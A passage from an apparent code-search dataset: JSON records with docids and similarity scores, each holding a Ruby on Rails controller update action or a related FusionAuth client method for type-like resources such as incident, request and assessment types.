"text": "def patch_entity_type(entity_type_id, request)\n start.uri('/api/entity/type')\n .url_segment(entity_type_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .patch()\n .go()\n end", "title": "" }, { "docid": "64381d7f0393a974f3c30cac80ff2f25", "score": "0.6565571", "text": "def update\n respond_to do |format|\n if @intervention_type.update(intervention_type_params)\n format.html { redirect_to intervention_types_url, notice: \"Intervention type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @intervention_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @intervention_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "470369b7ff586fc5881b51a88bb20440", "score": "0.6557327", "text": "def update\n authorize! :update, CompetenceType\n @competence_type.update!(competence_type_params)\n render json: {status: :ok}\n end", "title": "" }, { "docid": "9ab2e76eabb9eaf35ff9ec1f19e1ce33", "score": "0.6510118", "text": "def update\n @type_intervenant = TypeIntervenant.find(params[:id])\n\n respond_to do |format|\n if @type_intervenant.update_attributes(params[:type_intervenant])\n format.html { redirect_to(@type_intervenant, :notice => 'Type intervenant was successfully updated.') }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@type_intervenant}}\n \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @type_intervenant.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e392b3e94167617f55483f9f509abb66", "score": "0.6485816", "text": "def update_entity_type(entity_type_id, request)\n start.uri('/api/entity/type')\n .url_segment(entity_type_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end", "title": "" }, { "docid": "352482e7ce57d28edbcc4743c9c2a58d", "score": "0.64781195", "text": "def set_incidence_type\n @incidence_type = IncidenceType.find(params[:id])\n end", "title": "" }, { "docid": "352482e7ce57d28edbcc4743c9c2a58d", "score": "0.6477392", "text": "def set_incidence_type\n @incidence_type = IncidenceType.find(params[:id])\n end", "title": "" }, { "docid": "5063015235134d9110dd77ba5e3d0908", "score": "0.6470379", "text": "def update\n @breadcrumb = 'update'\n @reading_incidence_type = ReadingIncidenceType.find(params[:id])\n @reading_incidence_type.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @reading_incidence_type.update_attributes(params[:reading_incidence_type])\n format.html { redirect_to @reading_incidence_type,\n notice: (crud_notice('updated', @reading_incidence_type) + \"#{undo_link(@reading_incidence_type)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reading_incidence_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "58ca49837678cdccdd3d3a48c36c602e", "score": "0.6406329", "text": "def update\n respond_to do |format|\n if @insurance_type.update(insurance_type_params)\n format.html { redirect_to insurance_types_url }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @insurance_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e4a0277498a5dc6554b22256019a5d0", "score": "0.63922495", "text": "def update\n @request_type = RequestType.find(params[:id])\n\n respond_to do |format|\n if @request_type.update_attributes(params[:request_type])\n format.html { redirect_to @request_type, notice: 'Request type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1d7ffce28a27db66ade69a2fbe0f869c", "score": "0.6389728", "text": "def update\n respond_to do |format|\n if @resident_type.update(resident_type_params)\n format.html { redirect_to @resident_type, notice: 'Resident type was successfully updated.' }\n format.json { render :show, status: :ok, location: @resident_type }\n else\n format.html { render :edit }\n format.json { render json: @resident_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6113a23cbf951b9880cae8721f7ba2c4", "score": "0.63799316", "text": "def update\n @type = Type.find(params[:id])\n\n respond_to do |format|\n if @type.update_attributes(params[:type])\n format.html { redirect_to types_path, notice: 'Type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8992215c97a571ad2db8557f95d41a3e", "score": "0.6345082", "text": "def set_type_incidence\n @type_incidence = TypeIncidence.find(params[:id])\n end", "title": "" }, { "docid": "e5420e57e859455455de6b70c823f9ad", "score": "0.63231885", "text": "def update\n respond_to do |format|\n if @assessment_type.update(assessment_type_params)\n format.html { redirect_to @assessment_type, notice: 'Assessment type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @assessment_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "22d332086829e62aca88ca8332298726", "score": "0.63105726", "text": "def type_incidence_params\n params.require(:type_incidence).permit(:name, :status)\n end", "title": "" }, { "docid": "9380af1b02601f84821ebd7c75f5a666", "score": "0.6308195", "text": "def update\n respond_to do |format|\n if @inttype.update(inttype_params)\n format.html { redirect_to inttypes_path, notice: 'Inttype was successfully updated.' }\n format.json { render :show, status: :ok, location: @inttype }\n else\n format.html { render :edit }\n format.json { render json: @inttype.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c00c683db0f6a4c62c033d3442dee33a", "score": "0.62948436", "text": "def update\n @type = Type.find(params[:id])\n\n respond_to do |format|\n if @type.update_attributes(params[:type])\n format.html { redirect_to @type, notice: 'Type was successfully updated!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "98c07e1989c55f3e448cbd10452bca85", "score": "0.6293878", "text": "def update\n respond_to do |format|\n if @specimen_type.update(specimen_type_params)\n format.html { redirect_to @specimen_type, notice: 'Specimen type was successfully updated.' }\n format.json { render :show, status: :ok, location: @specimen_type }\n else\n format.html { render :edit }\n format.json { render json: @specimen_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "899a5c3ba5b15e9dbd8e43ebeb82ab45", "score": "0.6287773", "text": "def update\n authorize RequestType\n respond_to do |format|\n if @request_type.update(request_type_params)\n format.html { redirect_to @request_type, notice: \"Request type #{@request_type.description} was successfully updated.\" }\n format.json { render :show, status: :ok, location: @request_type }\n else\n format.html { render :edit }\n format.json { render json: @request_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b791697d814902c1aa39589a35cf5a88", "score": "0.62846714", "text": "def update\n respond_to do |format|\n if @interactions_type.update(interactions_type_params)\n format.html { redirect_to @interactions_type, notice: 'Interactions type was successfully updated.' }\n format.json { render :show, status: :ok, location: @interactions_type }\n else\n format.html { render :edit }\n format.json { render json: @interactions_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3199e1a28500a9c43c7dbcac0041a38c", "score": "0.62807435", "text": "def update\n @interaction_type = InteractionType.find(params[:id])\n\n respond_to do |format|\n if @interaction_type.update_attributes(params[:interaction_type])\n format.html { redirect_to @interaction_type, notice: 'Interaction type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interaction_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6721740f4224cc3e98242ee9167e8cd0", "score": "0.6278171", "text": "def update\n respond_to do |format|\n if @offense_type.update(offense_type_params)\n format.html { redirect_to @offense_type, notice: 'Offense type was successfully updated.' }\n format.json { render :show, status: :ok, location: @offense_type }\n else\n format.html { render :edit }\n format.json { render json: @offense_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d94dcd3d13ee1c127551d66862d9d1db", "score": "0.6274078", "text": "def update\n @interview_type.update(interview_type_params)\n @interview_types = InterviewType.all\n @interview_type = InterviewType.new\n end", "title": "" }, { "docid": "5b26292916b2f0fb144ed70a580ce5c4", "score": "0.6271215", "text": "def update\n respond_to do |format|\n if @interest_type.update(interest_type_params)\n format.html { redirect_to @interest_type, notice: 'Interest type was successfully updated.' }\n format.json { render :show, status: :ok, location: @interest_type }\n else\n format.html { render :edit }\n format.json { render json: @interest_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "642a71e8a60ebc957d9d622819dcfba2", "score": "0.6269449", "text": "def update\n respond_to do |format|\n handle_sample_swap if @resource.sample?\n if @resource.update strong_type params, @type, @type.downcase\n handle_successful_update\n format.html { redirect_to resource_path(@resource, :edit), notice: 'Changes successfully saved.' }\n else\n handle_invalid\n format.html { render :edit }\n end\n end\n end", "title": "" }, { "docid": "4b8ff2dedebdf4128945c8f311181d20", "score": "0.6265613", "text": "def update\r\n @incident_type = IncidentType.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @incident_type.update_attributes(params[:incident_type])\r\n flash[:notice] = 'IncidentType was successfully updated.'\r\n format.html { redirect_to incident_type_url(@incident_type) }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @incident_type.errors.to_xml }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "5d3f84262efeddc9f0de57dd9c89bcb3", "score": "0.6262372", "text": "def update\n @correspondence_type = CorrespondenceType.find(params[:id])\n\n respond_to do |format|\n if @correspondence_type.update_attributes(params[:correspondence_type])\n format.html { redirect_to @correspondence_type, notice: 'Correspondence type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @correspondence_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "71e8a78762ad08988f247185ee74bab2", "score": "0.6260207", "text": "def update\n respond_to do |format|\n if @assessment_type.update(assessment_type_params)\n format.html { redirect_to @assessment_type, notice: 'Assessment type was successfully updated.' }\n format.json { render :show, status: :ok, location: @assessment_type }\n else\n format.html { render :edit }\n format.json { render json: @assessment_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc5e3cd18188ec7052fe485e454dc85d", "score": "0.6247876", "text": "def update\n @attribute_type = AttributeType.find(params[:id])\n\n respond_to do |format|\n if @attribute_type.update_attributes(params[:attribute_type])\n format.html { redirect_to @attribute_type, :notice => 'Attribute type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @attribute_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b3a21db6be96c2ac0112d2888e93e7b5", "score": "0.62439686", "text": "def update\n respond_to do |format|\n if @type_opinion.update(type_opinion_params)\n format.html { redirect_to @type_opinion }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @type_opinion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e25a8a8be5e6ca2a2928df365fd59883", "score": "0.62429696", "text": "def update\n @clienttype = Clienttype.find(params[:id])\n\n respond_to do |format|\n if @clienttype.update_attributes(params[:clienttype])\n format.html { redirect_to @clienttype }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clienttype.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "664449ca79919ada2f216f482a874b4d", "score": "0.62275165", "text": "def update\n @expensetype = Expensetype.find(params[:id])\n\n respond_to do |format|\n if @expensetype.update_attributes(params[:expensetype])\n format.html { redirect_to expensetypes_url, notice: 'Expensetype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expensetype.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5de21f8f95872925e70ed8e4519d5dd3", "score": "0.6225504", "text": "def update\n respond_to do |format|\n if @expend_type.update(expend_type_params)\n format.html { redirect_to @expend_type, notice: 'Expend type was successfully updated.' }\n format.json { render :show, status: :ok, location: @expend_type }\n else\n format.html { render :edit }\n format.json { render json: @expend_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "548ba1babbcdb78511c04a317bf5c979", "score": "0.6193904", "text": "def update\n json_update(factType,factType_params, FactType)\n end", "title": "" }, { "docid": "6e233529c3d7b45c9c2e44799e0abae4", "score": "0.61938757", "text": "def update\n respond_to do |format|\n if @type.update(type_params)\n format.html { redirect_to @type, notice: 'Type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fd7c5f545c4eff73294c760ac7057ca2", "score": "0.6189972", "text": "def update\n respond_to do |format|\n if @constraint_type.update(constraint_type_params)\n format.html { redirect_to @constraint_type, notice: 'Constraint type was successfully updated.' }\n format.json { render :show, status: :ok, location: @constraint_type }\n else\n format.html { render :edit }\n format.json { render json: @constraint_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b70121ca15fa206e9e076ed2b698dc7", "score": "0.6186891", "text": "def update\n respond_to do |format|\n if @inquiry_type.update(inquiry_type_params)\n format.html { redirect_to @inquiry_type, notice: 'Inquiry type was successfully updated.' }\n format.json { render :show, status: :ok, location: @inquiry_type }\n else\n format.html { render :edit }\n format.json { render json: @inquiry_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c4b92e4012417b309462816d778b5f96", "score": "0.61868334", "text": "def update\n @section_type = SectionType.find(params[:id])\n entry_type_ids = params[:section_type].delete(\"entry_type_ids\")\n @section_type.entry_type_ids = entry_type_ids\n\n respond_to do |format|\n if @section_type.update_attributes(params[:section_type])\n format.html { redirect_to @section_type, notice: 'Section type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @section_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0241a4c672fbe7d8c73e6e98b107807b", "score": "0.6183881", "text": "def update\n standard_update(ContactType, params[:id], contact_type_params)\n end", "title": "" }, { "docid": "fab0e33fe40ede39616b809b51fe4adb", "score": "0.618021", "text": "def update\n @object = Type.find(params[:id])\n @object.update(object_params)\n render json: @object \n end", "title": "" }, { "docid": "1ba1caec23ae3973c933a21e488e2bf1", "score": "0.61691564", "text": "def update\n @evidence_type = AccountingEvidenceType.find(params[:id])\n\n respond_to do |format|\n if @evidence_type.update_attributes(params[:evidence_type])\n flash[:notice] = 'EvidenceType was successfully updated.'\n format.html { redirect_to(accounting_evidence_type_path(@evidence_type)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @evidence_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3faaa4940de03fb2e3af1071f9d27920", "score": "0.6162383", "text": "def update\n respond_to do |format|\n if @opportunity_type.update(opportunity_type_params)\n format.html { redirect_to @opportunity_type, notice: 'Opportunity type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @opportunity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5caae6c60cdb43f3250df551fa55d60e", "score": "0.61595833", "text": "def update\n respond_to do |format|\n if @type_request.update(type_request_params)\n format.html { redirect_to @type_request, notice: 'Type request was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_request }\n else\n format.html { render :edit }\n format.json { render json: @type_request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "043332eb9f661c0f045c80301da682d9", "score": "0.61468595", "text": "def update\n @personality_type = PersonalityType.find(params[:id])\n respond_to do |format|\n if @personality_type.update_attributes(params[:personality_type])\n format.html { redirect_to personality_types_url, :notice => 'PersonalityType was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => 'edit' }\n format.json { render :json => @personality_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a82bba34f08d3b8bd872e494b75e0bc", "score": "0.6135795", "text": "def update\n @person = Person.find(params[:id])\n if !params[:person]['person_type_ids']\n @person.person_types.destroy_all\n end \n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n flash[:success] = t('controller_message.updated')\n format.html { redirect_to @person, :notice => t('controller_message.updated') }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c63f9e811ce5d39185e8ada2d9158c82", "score": "0.6135285", "text": "def update\n respond_to do |format|\n if @patch_type.update(patch_type_params)\n format.html { redirect_to admin_patch_types_path, notice: 'Patch type was successfully updated.' }\n format.json { render :index, status: :ok, location: @patch_type }\n else\n format.html { render :edit }\n format.json { render json: @patch_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9524f1e8b6d179e25b9159a89ad4aa2", "score": "0.613427", "text": "def update\n respond_to do |format|\n if @vacation_type.update(vacation_type_params)\n format.html { redirect_to @vacation_type, notice: 'Vacation type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vacation_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "170cf65fb9684f68867e39cf251aff03", "score": "0.613106", "text": "def update\n @adjustment_type = AdjustmentType.find(params[:id])\n\n respond_to do |format|\n if @adjustment_type.update_attributes(params[:adjustment_type])\n format.html { redirect_to @adjustment_type, notice: 'Adjustment type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @adjustment_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "46c1c78269f3af246d42d38e3cea94c8", "score": "0.6129768", "text": "def update\n @annotation_type = AnnotationType.find(params[:id])\n\n respond_to do |format|\n if @annotation_type.update_attributes(params[:annotation_type])\n format.html { redirect_to @annotation_type, :notice => 'Annotation type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @annotation_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "36139f17c470f157f3c78e8b5508e024", "score": "0.6125823", "text": "def update\n @type_info = TypeInfo.find(params[:id])\n\n respond_to do |format|\n if @type_info.update_attributes(params[:type_info])\n format.html { redirect_to @type_info, notice: 'Type info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type_info.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fbfb15b3151b1fb3b9fe92561c5e71a2", "score": "0.611081", "text": "def update\n @interview_type = InterviewType.find(params[:id])\n\n respond_to do |format|\n if @interview_type.update_attributes(user_params)\n format.html { redirect_to @interview_type, notice: 'Interview type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interview_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7ed19239c1f2b611901a14abf46a0dda", "score": "0.6109024", "text": "def update\n @verb_type = VerbType.find(params[:id])\n\n respond_to do |format|\n if @verb_type.update_attributes(params[:verb_type])\n format.html { redirect_to @verb_type, notice: 'Verb type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @verb_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9eaa8f970e48b6825e4642a27efe4ee5", "score": "0.6094121", "text": "def update\n @attribute_type = AttributeType.find(params[:id])\n\n respond_to do |format|\n if @attribute_type.update_attributes(params[:attribute_type])\n format.html { redirect_to admin_attribute_types_url, notice: 'Attribute type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attribute_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4d179db3209f83396add42d95d429cbb", "score": "0.6093097", "text": "def update\n @ot_type = OtType.find(params[:id])\n\n respond_to do |format|\n if @ot_type.update_attributes(params[:ot_type])\n format.html { redirect_to @ot_type, notice: 'Ot type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ot_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f456e9f095fd705abb53cfe74f5205c4", "score": "0.60890704", "text": "def update\n respond_to do |format|\n if @typeaccident.update(typeaccident_params)\n format.html { redirect_to @typeaccident, notice: 'Typeaccident was successfully updated.' }\n format.json { render :show, status: :ok, location: @typeaccident }\n else\n format.html { render :edit }\n format.json { render json: @typeaccident.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ebd45190c54e6a3aee69471060eacd59", "score": "0.608377", "text": "def update\n respond_to do |format|\n if @client_type.update(client_type_params)\n format.html { redirect_to @client_type, notice: 'Client type was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_type }\n else\n format.html { render :edit }\n format.json { render json: @client_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "37d262a0cb811ecf7c592f29cb4a39f2", "score": "0.60757744", "text": "def update\n respond_to do |format|\n if @in_app_type.update(in_app_type_params)\n format.html { redirect_to @in_app_type, notice: 'In app type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @in_app_type.errors, status: :200 }\n end\n end\n end", "title": "" }, { "docid": "d562b61a2cb0d364a4f183e10efcd1d4", "score": "0.6073838", "text": "def update\n @reagent_type = ReagentType.find(params[:id])\n\n respond_to do |format|\n if @reagent_type.update_attributes(params[:reagent_type])\n format.html { redirect_to @reagent_type, notice: 'Reagent type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reagent_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "03f5a88a105d36eff78d9b9e859bc4a2", "score": "0.6072435", "text": "def update\n @resource_type = ResourceType.find(params[:id])\n\n respond_to do |format|\n if @resource_type.update_attributes(params[:resource_type])\n format.html { redirect_to @resource_type, notice: 'Resource type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "29b2f7ddc2064f1853a62daf34963a13", "score": "0.60723895", "text": "def update\n respond_to do |format|\n if @reinforcement_type.update(reinforcement_type_params)\n format.html { redirect_to reinforcement_types_path, notice: 'Reinforcement type was successfully updated.' }\n format.json { render :show, status: :ok, location: @reinforcement_type }\n else\n format.html { render :edit }\n format.json { render json: @reinforcement_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e6c4c66d03665bc26f5edd4b3c5dd814", "score": "0.6071158", "text": "def update\n respond_to do |format|\n if @type_resource.update(type_resource_params)\n format.html { redirect_to @type_resource, notice: 'EL tipo de recurso fue modificado éxitosamente.' }\n format.json { render :show, status: :ok, location: @type_resource }\n else\n format.html { render :edit }\n format.json { render json: @type_resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43a85c3b6c3e3f065df159121b0f3ed9", "score": "0.6067092", "text": "def update\n respond_to do |format|\n if @ic_type.update(ic_type_params)\n format.html { redirect_to @ic_type, notice: 'Ic type was successfully updated.' }\n format.json { render :show, status: :ok, location: @ic_type }\n else\n format.html { render :edit }\n format.json { render json: @ic_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1317fe9ee9261995a3c38389ade72579", "score": "0.6064417", "text": "def update\n respond_to do |format|\n if @type.update(type_params)\n format.html { redirect_to @type, notice: 'Type was successfully updated.' }\n format.json { render :show, status: :ok, location: @type }\n else\n format.html { render :edit }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1317fe9ee9261995a3c38389ade72579", "score": "0.6064417", "text": "def update\n respond_to do |format|\n if @type.update(type_params)\n format.html { redirect_to @type, notice: 'Type was successfully updated.' }\n format.json { render :show, status: :ok, location: @type }\n else\n format.html { render :edit }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09c04480eea08b134a2c64190004b43f", "score": "0.60636973", "text": "def update\n @interaction_type = current_user.interaction_types.find(params[:id])\n\n respond_to do |format|\n if @interaction_type.update_attributes(params[:interaction_type])\n format.html { redirect_to(@interaction_type, :notice => 'Interaction type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @interaction_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "04a8f285afa6e90eefdbe5191b201377", "score": "0.60627973", "text": "def update\n respond_to do |format|\n if @input_type.update(input_type_params)\n format.html { redirect_to @input_type, notice: 'Input type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @input_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5b677b36534b389f7641eb3795cebd30", "score": "0.60618645", "text": "def update\n @qowa_vacation_type = VacationType.find(params[:id])\n\n respond_to do |format|\n if @qowa_vacation_type.update_attributes(params[:vacation_type])\n format.html { redirect_to qowa_vacation_types_path, notice: 'Vacation type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @qowa_vacation_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac2ea7ce84bf1fd39d0e8ab973667c6b", "score": "0.6056043", "text": "def update\n event_type = EventType.find(params[:id])\n if event_type.update(event_type_params)\n render json: event_type, status: 200, location: [:api, event_type]\n else\n failed_to_update(event_type, \"event_type\")\n end\n end", "title": "" }, { "docid": "b95fb3de1e05d6454da6a417434ac624", "score": "0.60514736", "text": "def update\n respond_to do |format|\n if @approval_type.update(approval_type_params)\n format.html { redirect_to base_approval_types_url, notice: 'Approval type was successfully updated.' }\n format.json { render :show, status: :ok, location: @approval_type }\n else\n @approval_types = BaseApprovalType.all.map{ |c| c = (c.id == @approval_type.id)? @approval_type:c}\n @approval_type = BaseApprovalType.new\n format.html { render :index }\n format.json { render json: @approval_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e930c7c91182d5462367403102107061", "score": "0.6050919", "text": "def update\n @institutions_type = InstitutionsType.find(params[:id])\n\n respond_to do |format|\n if @institutions_type.update_attributes(params[:institutions_type])\n format.html { redirect_to @institutions_type, notice: 'Institutions type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @institutions_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0114fcb2130176d95a916c2274f6afe8", "score": "0.60499793", "text": "def update\n @resource_type = ResourceType.find(params[:id])\n\n respond_to do |format|\n if @resource_type.update_attributes(params[:resource_type])\n format.html { redirect_to @resource_type, notice: 'Resource type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bff1eb5f171aad3e2c3d258a0f106c84", "score": "0.6049313", "text": "def incidence_type_params\n params.require(:incidence_type).permit(:incidence_type_id, :state, :name)\n end", "title": "" }, { "docid": "62f95bed84bcbd57004adc1e5cbd704e", "score": "0.60437334", "text": "def update\n @attendancetype = Attendancetype.find(params[:id])\n\n respond_to do |format|\n if @attendancetype.update_attributes(params[:attendancetype])\n format.html { redirect_to @attendancetype, notice: 'Attendance type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attendancetype.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eea1dac0fc8f80e7429b596cb11b9c1d", "score": "0.6039034", "text": "def update\n @capital_type = CapitalType.find(params[:id])\n\n respond_to do |format|\n if @capital_type.update_attributes(params[:capital_type])\n format.html { redirect_to @capital_type, :notice => 'Capital type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @capital_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "80ed2022b0025432ba1798edb2aaf5ac", "score": "0.6038498", "text": "def update\n respond_to do |format|\n if @type_ent.update(type_ent_params)\n format.html { redirect_to @type_ent, notice: 'Type ent was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_ent }\n else\n format.html { render :edit }\n format.json { render json: @type_ent.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c49bb18a9d19fd19fb827a659ef10d6e", "score": "0.6038421", "text": "def update\n @expense_type = ExpenseType.find(params[:id])\n\n respond_to do |format|\n if @expense_type.update_attributes(params[:expense_type])\n format.html { redirect_to @expense_type, notice: 'Expense type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "12ef17898d697f38ff54de1a26842287", "score": "0.60337037", "text": "def update\n @data_type = DataType.find(params[:id])\n\n respond_to do |format|\n if @data_type.update_attributes(params[:data_type])\n format.html { redirect_to @data_type, notice: 'Data type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @data_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea821dc24e3c87821e1492f35107a6ac", "score": "0.6032083", "text": "def update\n @accident_type = AccidentType.find(params[:id])\n @accident_type.updated_user = current_user.login_name\n\n respond_to do |format|\n if @accident_type.update_attributes(params[:accident_type])\n @accident_type.lock_record if @accident_type.can_be_permanent?\n format.html { redirect_to accident_types_path, notice: 'Accident type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @accident_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f780206f51cc0cf1eda394a1a0800b65", "score": "0.6023228", "text": "def update\n respond_to do |format|\n if @inspection_type.update(inspection_type_params)\n format.html { redirect_to @inspection_type, notice: 'Inspection type was successfully updated.' }\n format.json { render :show, status: 